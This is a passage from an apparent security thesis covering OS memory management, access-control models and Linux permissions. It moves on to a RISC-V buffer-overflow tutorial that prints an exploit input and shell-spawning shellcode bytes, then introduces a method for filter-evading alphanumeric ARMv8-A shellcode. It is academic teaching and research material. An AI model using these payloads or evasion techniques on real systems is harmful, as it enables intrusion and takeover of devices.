Memory management Given that applications may use the whole mem-
ory space, the OS needs a method to share the memory between several
applications. It does so by dynamically allocating small pages6 when ap-
plications run out of allocated memory. We distinguish the virtual memory
address—the address used by the application to access the data—and the
physical address where the real data is located.

The OS is tasked to translate on the fly each and every virtual address to
its physical address whenever the application accesses memory; this process
is called memory management, and is totally transparent to the application.
In theory, this could be done by hooking each memory access with an inter-
rupt and then using a table to translate the address. In practice, we use a
more efficient method that relies on a configurable hardware unit dedicated
at performing the translation of each memory address, called the memory
management unit (MMU).

To configure the MMU, some dedicated instructions are provided in the
ISA. As an application should not be able to access and modify the memory
of other programs, configuring the MMU should only be possible for the

6For instance, pages are 4 KiB long on x86.
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OS. This separation is performed by introducing CPU modes. Each mode
features its own variant of the ISA, with mode-specific instructions and
registers as well as dedicated instructions to change CPU mode.7

Protection rings From the viewpoint of security, CPU modes allow a
hierarchical access to the computer resources. Each mode, when associated
with its exclusive resources, defines a protection ring, with the innermost
ring being the most potent, and the outermost the most restrictive. As
an example, RISC-V features three rings: machine (abbreviated as M),
supervisor (S),8 and user/application (U), while x86 possesses at least four:
Ring 0, 1, 2, and 3 (with only rings 0 and 3 used by common OSes).

Let us dive into RISC-V CPU modes. For each privilege level, specific in-
structions are available, as well as specific control and status registers (CSR),
hardware registers that could be accessed using a dedicated instruction and
a register number (e.g. csrw 0x340 , x0 that writes zero into the CSR
0x340). The OS typically runs in M-mode, while the applications run in
U-mode.

Upon reset, the RISC-V CPU is set to M-mode, and the program counter
is set to the reset vector. The M-mode features specific privileged in-
structions like mret (used to return from an interrupt handler to a lower-
privileged level), wfi (stalling the execution until an interrupt is triggered),
as well as machine-specific CSRs, like identification registers (vendor ID, ar-
chitecture ID, ISA, implementation ID), interrupt registers (configure vector
and privilege mode, enable or disable interrupts, set timers), or scratch reg-
ister (used to swap stack pointers when performing context switches).

System calls The U-mode features its own ISA, with very limited CSRs
(mostly for user-level interrupts, if enabled by the OS). A special ecall
instruction, called the system call (or syscall, like its x86 mnemonic) allows
unprivileged applications to request from the OS some privileged actions:
open and read a file, launch or stop another application, communicate on
the network, . . . . Each OS implements its own set of system calls.

Usually, system calls are designated with a number (NR), and have their
own calling convention often undocumented. For Linux, the implementation
of syscall convention is in file arch/xxxx/kernel/entry.S. We summarized
Linux syscall conventions for some architectures in Table 2.4.

The OS decides for each unprivileged application which system calls it
is allowed to perform. For this purpose, it maintains a list of resources
and users—this process is called identification—, a list of credentials that
authenticate each user and each resource to the OS, as well as a security pol-
icy. Each system call is sent to a mechanism called the access control (AC)

7On x86, CPU mode changes are done through highly configurable call gates, that we
do not detail here.

8We do not detail the S mode, available only with the supervisor extension of the ISA.
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Arch/ABI Instruction NR Return Arguments
i386 [source] int 0x80 eax eax ebx, ecx, edx, esi, edi, ebp
x86_64 [Mat+14] syscall rax rax rdi, rsi, rdx, r10, r8, r9
rv64gc [source] ecall a7 a0 a0, a1, a2, a3, a4, a5, a6
aarch64 [ARM13] svc \#0 x8 a0 a0, a1, a2, a3, a4, a5, a6

Table 2.4: Linux syscall conventions for various architectures.

and checked against the security policy accounting for the caller identity,
the action performed, the resources requested, and the context: the system
call is then either authorized or denied. The trio—identification, authentica-
tion, authorization—is at the foundation of identity and access management
(IAM). In what follows, we will detail some common approaches at defining
various IAMs, as well as some insights on the Linux IAM.

Attribute-based AC The first method to perform AC is to add to each
user and resource attributes, and formalize the security policy in the form of
rules on these attributes. As an illustration, we will provide a little formal
model named µAC inspired by parts of the Bell-LaPadula model [BL73;
BL76] formalizing the Department of Defense security policy.

The IAM must provide µAC with the following elements:

• U = {u1, . . . , un} the set of users;

• O = {o1, . . . , om} the set of objects (resources);

• C = {c1 > . . . > c`} the totally ordered set of permission levels;

• f : U → C;u 7→ f(u), a function that maps each user u to a permission
level named clearance;

• g : O → C; o 7→ g(o), a function that maps each object o to a permis-
sion level named classification.

The OS provides two system calls: either a user u reads from an object
o, or a user u writes in an object o. We aim at preventing any leakage, i.e.
a chain of system calls that could move data from one level of classification
to a lower one. To reach this goal, µAC enforces the “write up, read down”
principle:

• User u is allowed to read object o if and only if f(u) ≥ g(o);

• User u is allowed to write object o if and only if f(u) ≤ g(o);

• Everything else is denied.

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/entry/entry_32.S
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/riscv/kernel/entry.S
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This model is very restrictive, as it handles only a limited number of sys-
tem calls. Furthermore, classifications and clearances can only be modified
by increasing their levels, otherwise information could be leaked.

The Bell-LaPadula model differs from µAC by providing two security
clearances to each user (maximum and current) and four types of system
calls: e (neither read nor write), r (read-only), a (write-only), and w (read-
write). Additionally, the model restricts access to resources on a need to
know basis by enclosing each object into a compartment and for each user
listing accessible compartments, using a permission matrix explained subse-
quently.

Access-Control Lists Access-control lists (ACLs) allow to finely control
the permissions in a system with many syscalls, users and resources, without
formalizing the security policy in a set of rules. The IAM maintains the
following elements:

• U = {u1, . . . , un} the set of users;

• O = {o1, . . . , om} the set of objects (resources);

• S = {s1, . . . , s`} the set of system calls;

• A permission matrix M of size |U | × |O|, whose each entry mi,j is a
boolean vector b1, ..., b`.

When user ui performs system call sk on resource oj , the operating system
will authorize the syscall if and only if the k-th component of boolean vector
mi,j is true.

ACLs are widely adopted in many systems as they are really easy to
implement. The IAM grants permissions on an as-needed basis, effectively
ensuring that each syscall performed by a user on this resource has been
explicitly allowed by the system administrator. As a drawback, configuring
ACLs now requires knowledge of the system and its resources. Similarly,
adding any new user or resource requires updating a significant number of
authorizations, which can be a daunting task to undertake.

A more problematic issue that often happens with ACLs is called pol-
icy inconsistency. Indeed, ACLs do no take into account the semantics of
syscalls. Thus, by combining several authorized syscalls, a user may be
able to perform another unauthorized one. Think for instance a user that
can read, delete and rename files, which allows him to write arbitrarily into
read-only files by simply creating a modified copy, deleting the original file
and renaming the copy to the original file name.

An inconsistent policy may even allow a user to access resources for
which it did not have any permission at all. As an example, let’s consider
a program launched with the execve system call on Linux, that launches
other programs during its execution. A common way to implement ACLs
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permissions in this situation consists in creating a virtual user for each pro-
gram, and provide its set of permissions. When a user launches the program,
the OS checks for the user’s execute permission on the program and then
replaces the effective user with the program’s virtual user in any subsequent
system call.

From this situation, one could remark that those syscalls manipu-
late both internal data—for which effective user’s permissions are indeed
required—and user data—which should in theory be restricted to the orig-
inal user’s permissions. From the point of view of the AC, both kinds of
data are only designated with object references, often in the form of a string
called a path. As syscalls are originated from the effective user, the AC
is not able to distinguish between both, thus leaving in practice authoriza-
tion to the program, which may create many security issues. This is well
illustrated in the Linux passwd utility that implements a check myuid !=
0 && pw->pw_uid != myuid to determine whether the user is allowed to
modify the requested password or not. It goes without saying that any
bug in the implementation of this test may result in unauthorized password
modification without the OS even noticing that the user modifies the wrong
password. Messing up the program’s object references often grants privi-
lege escalation, by performing syscalls on user’s data that were originally
intended to be internal data (or conversely).

Capability-based models Capability-based security aims at preventing
similar attacks by allowing the manipulation of objects only through capa-
bilities: an unforgeable handler that embeds the object reference along its
set of authorized actions.9 When launching a program, the user provides a
set of capabilities for any user resource required by the program. Besides,
program’s internal data is handled using internal capabilities. At each sys-
tem call, the OS verifies that each requested resource does not violate its
capability.

In terms of implementation, this is done through the use of transferable
tokens issued by the operating system that authenticate a previous autho-
rization granted by AC for a specific action performed on a specific resource.
As capabilities are transferable, there is no need to specify the user in the ca-
pability, and the AC checks for the user only on capability creation where it
relies on another security model (typically ACLs). Capability-based security
has been adopted by some real-time oriented kernels, such as EROS [SSF99],
CheriRTOS [Xia+18], or seL4 [Kle+09].

Linux AC Linux implements many security mechanisms for which we
provide only an incomplete summary. Access control is performed using a

9This should not be confused with the concept of Linux capabilities that are a method
to finely grant permissions with ACLs without granting full root privileges to applications.
We detail this mechanism later.
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hybrid attribute-based model, detailed hereafter.10

Resources are referred to using inodes numbers, a unique identifier that
points to a file (on Linux, directories are implemented as special files).11

The inode 2 is called the root directory of the file system (fs), and is named
/. Inodes are stored using a directory tree, a directed rooted tree whose
root is /, internal vertices are directories. Permissions are stored as inodes
attributes that can be obtained using the stat syscall.

Users on Linux are implicitly defined, as they are designated by an un-
signed integer attached to specific programs executed by the computer. Dur-
ing execution, each program is represented by the OS as a process, that adds
additional metadata to the program such as its state, a unique process iden-
tifier (PID), scheduling information, or the user that is running the process.
The user in itself is encoded using three integers, the real user ID (UID),
the effective UID (EUID), the saved UID (SUID, used only as a temporary
placeholder to allow temporarily switching the EUID to the UID). Each pro-
cess is also granted a group, with the same three variants: group ID (GID),
effective GID (EGID), and saved GID (SGID). The process can be granted
additional groups by storing them in the group_info data structure. Al-
together, a process belongs to only one user and at least one group. Many
syscalls are available to change user and group IDs during execution, not
detailed here. A special user whose UID is 0 and GID is 0, often named
root, is granted full permission across all resources of the system.

The first mechanism to handle permissions on Linux is called file mode
and is configured using the dedicated syscall chmod. For each inode, two
integers are stored as attributes, designating a class of users: the owner and
the group.12 A third class called others, designates the users who are neither
the owner nor belong to the group owning the file. Permissions are stored
in the inode as a 12-bit value, as follows (starting from least significant):

1. The execute permission for the others class.

2. The write permission for the others class.

3. The read permission for the others class.

4. The execute permission for the group class.

5. The write permission for the group class.

6. The read permission for the group class.

7. The execute permission for the owner class.
10Many extensions are available, including ACLs, but are not detailed here.
11This inode is unique for a single file system. Each fs is also designated with a device

ID to prevent any ambiguity.
12The owner and group of a file can be changed using respectively chown and chgrp

syscalls.
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8. The write permission for the owner class.

9. The read permission for the owner class.

10. The sticky bit, when set to true for a directory, which limits renaming
or deleting files in the directory only to the directory or file owners
and groups.

11. The set group ID (setgid) on execution, which, when set to true,
changes the EGID of the child process to the file’s group.

12. The set user ID (setuid) on execution, which, when set to true,
changes the EUID of the child process to the file’s owner.

In Linux, the command ls -l . displays the files present in current
working directory (named .—its absolute path can be obtained with the
getcwd syscall) with their associated permission. As an example, we provide
the output of this command for an example directory in Fig 2.11. The
directory . contains three references to inodes: two files (a.out and b.out)
and one subdirectory (crypto).13

jaloyan@localhost$ ls -l .
-rwsr-sr-x 1 jaloyan securite 10077616 Apr 27 2018 a.out
-rwxr-sr-x 1 jaloyan securite 8254040 Apr 9 2018 b.out
drwxr-xr-t 2 jaloyan securite 4096 May 11 2018 crypto

Figure 2.11: The output of the ls -l . command in an example direc-
tory. The columns respectively describe the file mode, number of hard links,
owner, group, size, last modification, and name.

Let us detail each line of the output:

• The file a.out grants read (r), write (w), and execute (x) permission
to its owner jaloyan, and only read and execute permissions to the
group securite as well as to others. The setuid and setgid bit are
set to true, as shown by the s character instead of x for the owner’s
and group’s execute permissions.

• The file b.out provides the same permissions as a.out, with only the
setgid bit set to true.

• The directory crypto (as indicated by the letter d in the first column),
grants the same permissions, with sticky-bit set to true, as indicated
by the letter t in place of the others’ execute permission.

13Two other special inodes not shown here are available to each directory, . pointing
to the current directory and .. pointing to its parent.
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On top of the file modes, Linux provides the possibility to add attribute-
based restrictions using file attributes. Most of them can only be set or
cleared by root, thus limiting their use for very specific usages. Some flags
include prevention from deletion (u) or prevention from any modification in-
cluding from root (i). They can be obtained and modified using the generic
ioctl syscall, and specifying as second argument either FS_IOC_GETFLAGS
or FS_IOC_SETFLAGS.

Many extensions have been added on top of the Linux permission sys-
tem, often relying on the getxattr and setxattr system calls. One could
cite for instance Linux ACL, or Linux capabilities (which are different from
capabilities as defined previously), that allow root to provide partial priv-
ileges to processes, without requiring them to change their EUID. As an
example of such capability, CAP_CHOWN allows a program to perform chown
syscalls as if it had effective user ID set to 0.

In the following section, we will show how to leverage the various security
abstractions to exploit vulnerabilities in programs.

2.3 Binary exploitation

In this section, we briefly introduce basic binary exploitation techniques,
their mechanics and how they are mitigated. More specifically, we will
distinguish and explain the various elements that constitute a successful
attack.

Binary executables are programs that embed code and data to perform
some tasks implemented by its creator. These programs can interact with
the outside world using inputs, outputs or side-effects. During the design
process, the editor lists all the intended behaviors of the program—often
through a statement of work.

At each step of the development process (design, implementation, test-
ing, integration, validation, . . . ), flaws may be inserted due to lack of atten-
tion, lack of skill, or malignancy that causes off-nominal behaviors. Such
flaws are called software bugs. Often, bugs cause program termination,
which only affects the program’s availability. However, some bugs may also
output unexpected data, or even corrupt it, which can potentially undermine
data confidentiality and integrity. Among those bugs, we identify a subset
called vulnerabilities as bugs which may, under specific circumstances, by-
pass a security protection designed by the editor.

It would be a daunting work to provide a comprehensive taxonomy of
bugs and vulnerabilities, hence we will only provide a brief overview of some
specific types of bugs with the help of some specific examples.

Let us start with a very simple vulnerable program shown in Fig. 2.12a.
The program takes as input a string, whose size is 16 bytes. The main func-
tion gets translated into rv64gc assembly as in Fig. 2.12b, which shows the
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#include <stdio.h>

int main(void) {
char str [16];
gets(str);
return 0;

}

(a) The C source code of the program.

addi sp ,sp ,-32
sd ra ,24(sp)
mv a0 ,sp
jal ra ,102d2 <gets >
ld ra ,24(sp)
addi sp ,sp ,32
li a0 ,0
jr ra

(b) The rv64gc assembly code.

Figure 2.12: A simple vulnerable program written in C, and compiled with
gcc -O3 -ansi.

sp

sp+32

0x0FE0

0x0FE4

0x0FE8

0x0FEC

0x0FF0

0x0FF4

0x0FF8

0x0FFC

0x1000

str [0]
str [1]
str [2]
str [3]
str [4]
str [5]
str [6]
str [7]
str [8]
str [9]
str [10]
str [11]
str [12]
str [13]
str [14]
str [15]

unused

return address

overflow

0x0FE0

0x0FE4

0x0FE8

0x0FEC

0x0FF0

0x0FF4

0x0FF8

0x0FFC
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input [0]
input [1]
input [2]
input [3]
input [4]
input [5]
input [6]
input [7]
input [8]
input [9]
input [10]
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input [13]
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input [16]
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input [29]
input [30]
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Figure 2.13: Stack layout at execution of jal ra ,102d2 <gets >.
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prologue that allocates 32 bytes from the stack (addi sp ,sp ,-32) and
saves the return address at offset 24 (sd ra ,24(sp)). The body of the
function simply consists in calling the procedure gets at address 0x102d2
with parameter a0 set to the address of the first character of the string,
namely sp. The epilogue restores the return address (ld ra ,24(sp)),
loads 0 into the return register a0 and exits the main procedure (jr ra).

We represent the layout of the stack in Fig. 2.13, assuming that the
value of sp is 0x0x1000 on entry of the main procedure. The string, being
declared as a local variable, gets allocated on the stack, in the form of 16
contiguous bytes ranging from 0xFE0 to 0xFEF. The return address is stored
at address 0xFF8.

The vulnerability comes from the fact that the gets procedure does
not control the length of the string it reads from standard input. If the
input exceeds 15 characters (as a terminating \0 character is appended),
the procedure overwrites data at addresses above the end of its allocated
storage. This is called a buffer overflow. Here, if the input is 32 bytes long,
the return address of the main procedure is overwritten. When reaching
jr ra at the end of main, the program jumps to the address received as
input (bytes 24 to 31).

As an example, we can try redirecting the control-flow to the main pro-
cedure, so as to trigger an infinite loop. For this, we need to send a string 32
bytes long (it should not contain any newline \n), whose last 8 characters
encode the address of the procedure main. In our case, disassembling the
program using objdump yields 0x100e8. The following input, called exploit,
can be sent to the program:

\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00
\xe8\x00\x10\x00\x00\x00\x00\x00\x0d

This attack, named stack smashing and published in 1996 by Ale-
phOne [AO96], leverages the ability to overwrite the stack to arbitrarily
redirect the control-flow. Specifically, it is possible to redirect the control-
flow to the stack itself, to execute parts of our input. This requires knowing
the address of the stack, which happens to be a fixed value defined by the OS
(here, let’s assume 0x0x1000, to remain coherent with Fig. 2.13, on Linux,
the stack starts at the highest address of the user-space and grows down-
ward). We thus modify our exploit to obtain a shellcode,14 a small snippet of
binary code appended to our previous control-flow hijack, granting control
of the device by opening a shell, regardless of the security policy.15 More

14Originally, a shellcode was used to spawn a shell, but we extend this term to any
binary code.

15This shellcode as well as many others can be found on http://shell-storm.org/
shellcode/files/shellcode-908.php.

http://shell-storm.org/shellcode/files/shellcode-908.php
http://shell-storm.org/shellcode/files/shellcode-908.php
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generally, we could use any rv64gc snippet that does not contain the byte
0x0a (corresponding to a \n). Modulo this limitation, we are able to reach
arbitrary code execution (ACE) from this vulnerability.

\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x10\x00\x00\x00\x00\x00\x00
\x01\x11\x06\xec\x22\xe8\x13\x04
\x21\x02\xb7\x67\x69\x6e\x93\x87
\xf7\x22\x23\x30\xf4\xfe\xb7\x77
\x68\x10\x33\x48\x08\x01\x05\x08
\x72\x08\xb3\x87\x07\x41\x93\x87
\xf7\x32\x23\x32\xf4\xfe\x93\x07
\x04\xfe\x01\x46\x81\x45\x3e\x85
\x93\x08\xd0\x0d\x93\x06\x30\x07
\x23\x0e\xd1\xee\x93\x06\xe1\xef
\x67\x80\xe6\xff\x0d

In a typical ACE scenario, the attacker uses a shellcode to take control
of the program. Shellcodes are easy to distribute and weaponize, as shown
by many off-the-shelf shellcodes available within exploitation frameworks
such as Metasploit [Met]. It is common practice to flood the buffer with a
nopsled, i.e. a sequence of useless operations, which has the added benefit
of allowing some imprecision in the return address.

These attacks can be mitigated using executable-space protection (with
Data Execution Prevention (DEP) [Mic] being one well-known implementa-
tion), that aims at preventing the execution of injected data, by associating
to each region of the memory a permission (read, write, execute) through
a dedicated mprotect system call. This permission is then stored in the
MMU and enforced at each memory access by the CPU. At any time in the
execution of the program, we ensure that no memory has both the write
and execute permission, summarized as the Write XOR Execute (W^X)
principle.

In this battle between the shield and the sword, malware developers have
answered with return-oriented programming (ROP). The first ROP attack
was publicly presented in 2001 by Nergal in Phrack [Ner01]. It bypasses
executable-space protection by injecting a ROP chain in the stack—a suc-
cession of several call frames, each of them triggering the execution of a
gadget: a small snippet of already-existing code containing a small num-
ber of instructions ended by a ret. When the ret instruction is reached,
the address of the next gadget is popped from the stack into the program
counter. Provided that enough different gadgets are available in the exe-
cutable, arbitrary code may be executed by chaining these gadgets.

The vulnerable program in Fig. 2.12b has only one jr ra instruction.
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stack frame

stack frame

stack frame

stack frame

padding

padding padding padding

local data

return address
gadget_1

return address
gadget_2

return address
gadget_3

local data
"/bin/sh"

return address
system_call

...

...
jal strcpy
...
ret

gadget_1

mv a1 ,0
mv a2 ,0
...
ret

gadget_2

mv a7 ,221
...
ret

gadget_3

mv a0 ,sp
...
ret

system_call

ecall

overflow

Figure 2.14: General principle of Return-Oriented Programming attacks.
The vulnerability shown here consists in a buffer overflow from an unchecked
strcpy allowing the user to smash the contents of the stack.



34 CHAPTER 2. PROLEGOMENA

Without additional assumptions, only one gadget can be used, setting a0 to
0. Fig. 2.14 shows a more complex attack opening a shell, assuming that a
program contains such gadgets. Building ROP chains requires a lot of effort,
as gadgets must be finely chosen. Tools have been released to efficiently list
and search available gadgets in a program.

Two methods are commonly used to list the available gadgets. The first
one consists in starting a disassembler at each byte of the program to collect
any valid gadget. This method is particularly inefficient as its average-case
time complexity is O(n2), where n is the length of the program. To reduce
execution time, the number of disassembled instructions is upper-bounded
(often to 5), which limits the tool to only short gadgets. The second method
uses the Galileo algorithm, published by Shacham in 2007 [Sha07]. It looks
for every return instruction (called Points of Interest or PoI), and tries to
disassemble backwards to build a gadget. Its average-case time complexity
is O(n.p), where n is the length of the program and p the mean length of
the gadgets. We will show in Chapter 5 some limitations of Galileo, and will
present an algorithm to comprehensively list gadgets with time complexity
O(n. logn+ n.p).

Searching for specific gadgets can be performed syntactically or seman-
tically [Fra19]. Syntactic search consists in translating each gadget into
a string (often its assembly code), and then using various string search
methods—like regular expressions—to perform the query. Semantic search
uses an intermediate representation (IR) to efficiently store a gadget’s ef-
fects. Depending on the IR used, it becomes possible to query gadgets using
higher-level primitives (like asking which gadget increments a register, as-
signs a specific number to a register, . . . ), which are often solved using a
SAT-solver like z3 [MB08].

Address space layout randomization (ASLR) is a method aimed at pre-
venting ROP attacks by moving the binary code to random addresses. This
relocation happens at the start of the program, when the kernel and pro-
gram loader (ld.so on Linux) load respectively the binary code and the
libraries into memory. This requires the code to be position-independent
(PIC), which uses a Global Offset Table (GOT) that maps at runtime sym-
bols (function entry points, labels, . . . ) to the random addresses generated
by the loader. Vulnerabilities that reveal these random addresses to the user
are called info leaks and often lead to an ASLR bypass.

More advanced techniques, not detailed here, increase the protection
against ROP attacks. For instance, stack canaries halt the execution of
the program when some values are overwritten on the stack. Similarly,
control-flow integrity (CFI) adds additional checks to indirect jumps to pre-
vent control-flow hijacking and the execution of the ROP chain. RELRO
(Relocation Read-Only) prevents hijacking the program by preventing any
modification of the GOT [ST01].
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Chapter 3

Alphanumeric shellcoding on
ARMv8-A

In this chapter, we describe a methodology to automatically
turn arbitrary ARMv8-A programs into alphanumeric executable
polymorphic shellcodes. Shellcodes generated in this way can
evade detection and bypass filters, broadening the attack surface
of ARM-powered devices such as smartphones.

This work was jointly conducted with Hadrien Barral, Houda
Ferradi, Rémi Géraud, and David Naccache. It was published in
ISPEC 2016 [Bar+16] and presented at DEF CON 27 [Bar+19b].

3.1 Introduction

This chapter describes, to the best of our knowledge, the first program
turning arbitrary ARMv8-A code into alphanumeric polymorphic executable
code. We focus on alphanumeric shellcodes, and target the AArch64 instruc-
tion set in the ARMv8-A architecture, to illustrate our technique. The tech-
nique is generic and may well apply to other architectures. Besides solving
a technical challenge, shellcodes generated in this way can evade detection
and bypass filters, broadening the attack surface of ARM-powered devices
such as smartphones.

Our global approach is the following: we first identify a minimal Turing-
complete subset Σ of alphanumeric instructions, and use Σ to write an in-
memory decoder. The payload is encoded offline (with an algorithm that
only outputs alphanumeric characters), and is integrated into the decoder.
The whole package is therefore an alphanumeric program, and allows arbi-
trary code execution (ACE). All source files are provided in the appendices.

37
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3.2 Preliminaries

Much effort has been undertaken in recent years to secure smartphones
and tablets. For such devices, software security is a challenge: on the one
hand, most software applications are now developed by third-parties; on
the other hand, defenders are restrained as to which watchdogs to install,
and how efficient they can be, given these devices’ restricted computational
capabilities and limited battery life.

This is exacerbated by the widespread adoption of smartphones and
their use for almost any task from payment to dating to unlocking one’s car,
making successful attacks especially profitable. At the same time, mobile
environments are improving their security to address such threats.

In particular, it is important to understand how countermeasures fare
against one of the most common security concerns: memory safety issues.
Using traditional buffer overflow exploitation techniques, an attacker may
exploit a vulnerability to successfully execute arbitrary code, and take con-
trol of the device [AO96]. Mobile applications still contain memory safety
vulnerabilities, as the need for performance or obfuscation often drives de-
velopers to implement low-level (e.g., JNI) segments which are particularly
susceptible to the usual techniques of buffer overflow exploitation [Dav+11].

To launch the attack, the opponent sends a shellcode to a vulnerable
application, either by direct input, or via a remote client. Such shellcodes
are easy to distribute and reuse, as shown by many off-the-shelf shellcodes
available within exploitation frameworks such as Metasploit [Met]. However,
before doing so the attacker might have to overcome a number of difficulties:
if the device has a limited keyboard for instance, some characters might be
hard or impossible to type; or filters may restrict the available character
set of remote requests for instance. A well-known situation where this hap-
pens is input forms on web pages, where input validation and escaping is
performed by the server.

We claim that a reasonable vector is text-based applications, which in-
cludes SMS, social networks, chat applications (in a remote context), pass-
word entry, note taking, or QR code scanning (in a local context). This
being said, the attacker’s payload has to be treated by this application as
text such as a hashtag, a Uniform Resource Locator (URL), a sentence, in
the most restrictive sense, hence the most widely applicable. We therefore
consider alphanumeric programs whose binary representation use only the
following ASCII characters: the 52 lowercase and uppercase letters of the
English alphabet and the 10 digits (see Table 3.1).

When writing alphanumeric code, spaces and return characters are added
for reading convenience, but are not part of the actual code. We call poly-
morphic, a code that can be mutated into another one with the same seman-
tics. This mutation is performed by another program called the polymorphic
engine.
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Char Hex Binary
0 0x30 0b000110000
1 0x31 0b000111001
2 0x32 0b000110010
3 0x33 0b000110011
4 0x34 0b000110100
A 0x41 0b001000001
B 0x42 0b001000010
C 0x43 0b001000011
D 0x44 0b001000100
E 0x45 0b001000101
F 0x46 0b001000110
G 0x47 0b001000111
H 0x48 0b001001000
I 0x49 0b001001001
J 0x4A 0b001001010
K 0x4B 0b001001011
L 0x4C 0b001001100
M 0x4D 0b001001101
N 0x4E 0b001001110
O 0x4F 0b001001111
P 0x50 0b001010000
Q 0x51 0b001010001
R 0x52 0b001010010
S 0x53 0b001010011
T 0x54 0b001010100
U 0x55 0b001010101
V 0x56 0b001010110
W 0x57 0b001010111
X 0x58 0b001011000
Y 0x59 0b001011001
Z 0x5A 0b001011010

Char Hex Binary
5 0x35 0b000110101
6 0x36 0b000110110
7 0x37 0b000110111
8 0x38 0b000111000
9 0x39 0b000111001
a 0x61 0b001100001
b 0x62 0b001100010
c 0x63 0b001100011
d 0x64 0b001100100
e 0x65 0b001100101
f 0x66 0b001100110
g 0x67 0b001100111
h 0x68 0b001101000
i 0x69 0b001101001
j 0x6A 0b001101010
k 0x6B 0b001101011
l 0x6C 0b001101100
m 0x6D 0b001101101
n 0x6E 0b001101110
o 0x6F 0b001101111
p 0x70 0b001110000
q 0x71 0b001110001
r 0x72 0b001110010
s 0x73 0b001110011
t 0x74 0b001110100
u 0x75 0b001110101
v 0x76 0b001110110
w 0x77 0b001110111
x 0x78 0b001111000
y 0x79 0b001111001
z 0x7A 0b001111010

Figure 3.1: Hexadecimal and binary representation for the alphanumeric
ASCII subset.
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3.2.1 Prior and related work

The idea to write alphanumeric executable code first stemmed as a response
to anti-virus or hardening technologies that were based on the misconception
that executable code is not ASCII-printable. Eller [Ell00] described the
first ASCII-printable shellcode for the 32-bit Intel architecture (IA-32) and
which bypassed primitive buffer-overflow protection techniques. This was
followed by RIX [RIX01] with IA-32 alphanumeric shellcodes. Later, Mason
et al. [Mas+09] showed a technique to automatically turn IA-32 shellcodes
into English shellcodes, statistically indistinguishable from any other English
text. Obscou [Obs03] managed to obtain Unicode-proof shellcodes that work
despite the limitation that no zero-character can appear in the middle of a
standard C string. All the above constructions rely on existing shellcode
writing approaches and require manual fine-tuning.

Basu et al. [BMC14] developed an algorithm to generate automated shell-
code targeting IA-32. The Metasploit project provides the msfvenom utility,
turning arbitrary IA-32 programs into alphanumeric IA-32 code. However,
although msfvenom can generate self-decrypting ARM executables, it does
not provide alphanumeric encodings for this platform.

More recently, Younan et al. generated alphanumeric shellcodes for the
ARMv5 architecture [YP09; You+11]. They provide proof that the subset
of alphanumeric commands is Turing-complete, by translating all Brain-
fuck [Mül93; Faa07; Cri96] commands into alphanumeric ARMv5 code snip-
pets.

3.2.2 ARMv8-A AArch64

AArch64 is a new ARMv8-A instruction set. AArch64 features 32-bit natu-
rally aligned instructions. There are 32 general purpose 64-bit registers Xi
(0 ≤ i < 32) and 32 floating-point registers. The 32 least significant bits
(LSBs) of each Xi is denoted by Wi, that can directly be used as a register in
many instructions. We split each 32-bit register W = WhighWlow into its most
significant 16 bits half-word Whigh and its least significant 16 bits half-word
Wlow.

AArch64 instructions are composed of one opcode and zero or more
operands, being addresses, register numbers, or immediates. As an example,
the instruction:

ldr x16 , PC+0 x60604

is assembled as 0x58303030 (which is alphanumeric and corre-
sponds to the ASCII string 000X). In binary this corresponds to
010110000011000000110000001100001 and decoded as in Table 3.1 accord-
ing to ARMv8-A reference manual [Arma].

1Note the little-endian of the ASCCI string.
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045232431

dest. reg.

10000

source immediate

0011000000110000001

opcode

01011000

Table 3.1: Decoding of instruction ldr x16 , PC+0 x60604 . Bits 0 to
4 encode the 64-bit destination register. Bits 5 to 23 encode the source
immediate value, used by load as an offset relative to PC counted in 32-bit
words.

An interesting feature is that the opcode and operands are often con-
tiguous in instructions. This is a real advantage for creating alphanumeric
shellcodes, as it indicates that instructions which share a prefix are probably
related. For instance 000X and 100X turn out to decode respectively into:

ldr x16 , PC+0 x60604

and

ldr x17 , PC+0 x60604

making it relatively easy to modify the operands of an existing instruction.
Younan et al. [You+11] use the fact that in AArch32 (32-bits ARM

architecture), almost all instructions can be executed conditionally via a
condition code checked against the CPSR register. In AArch64, this is no
longer the case. Only specific instructions, such as branches, can be made
conditional: this renders their approach nugatory.

3.2.3 Shellcodes and exploitation

In a typical ACE scenario, attackers can run a relatively short program of
their choosing. It is called a shellcode, as it can start a shell session, which
in turn allows attackers to download and run additional programs.

For instance, a stack overflow ACE can happen when an application
allows writing in an array beyond the allocated space for this array, resulting
in overwriting stack frame data. In platforms such as IA-32 the stack frame
stores information about the instruction pointer before a call; by overwriting
this information an attacker can control the instruction pointer and send it
back to the array’s address. The array’s contents are then executed as if they
were the vulnerable program’s own instructions: this is where the shellcode
is written. Other strategies might be employed to achieve that goal, which
are not within the scope of this study.

Since a typical array is relatively short, shellcodes must accordingly
be concise. Similarly, an application may restrict what data it manipu-
lates (e.g., strings) and shellcodes must be written to comply with such
constraints. Additional protections make shellcode design trickier: ad-
dress space layout randomization (ASLR), stack-smashing protections, or
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executable-space protection for instance. Detection mechanisms may fur-
thermore identify characteristic aspects of a shellcode and prevent the at-
tack from reaching the target application. For all these reasons the modern
shellcode designer has to navigate around layers of obstacles.

This difficulty is somewhat offset on embedded and mobile devices, where
many protections are only partially implemented, if at all. Such platforms
are also host to many third-party applications, that can be developed with-
out strictly adhering to secure coding practices, using memory-unsafe lan-
guages (sometimes due to performance or obfuscation constraints) and not
necessarily updated in a timely fashion.

Note that on Android platforms, applications are often written in Java
which implements implicit bound checking. At first glance it may seem that
this protects Java applications from buffer overflow attacks. However, to
improve performance accesses to C/C++ code libraries via the Java Native
Interface (JNI) are still possible, and can be leveraged to exploit the Java
Development Kit (JDK) [TC08].

Shellcodes may execute directly, or employ some form of evasion strategy
such as filter evasion, encryption or polymorphism. Polymorphism allows
having a large number of different shellcodes that have the same effect, which
decreases their traceability. In these cases the payload must be encoded in
a specific way, and must decode itself at runtime.

In this work, we encode the payload in a filter-friendly way and equip it
with a decoder (or vector). The vector itself must be filter-friendly, and is
usually handwritten. Hence designing a shellcode is a tricky art.

3.3 Building the instruction set

In order to build the alphanumeric subset of AArch64, we generated all
14,776,336 alphanumeric 32-bit words. For each 4-byte value obtained, we
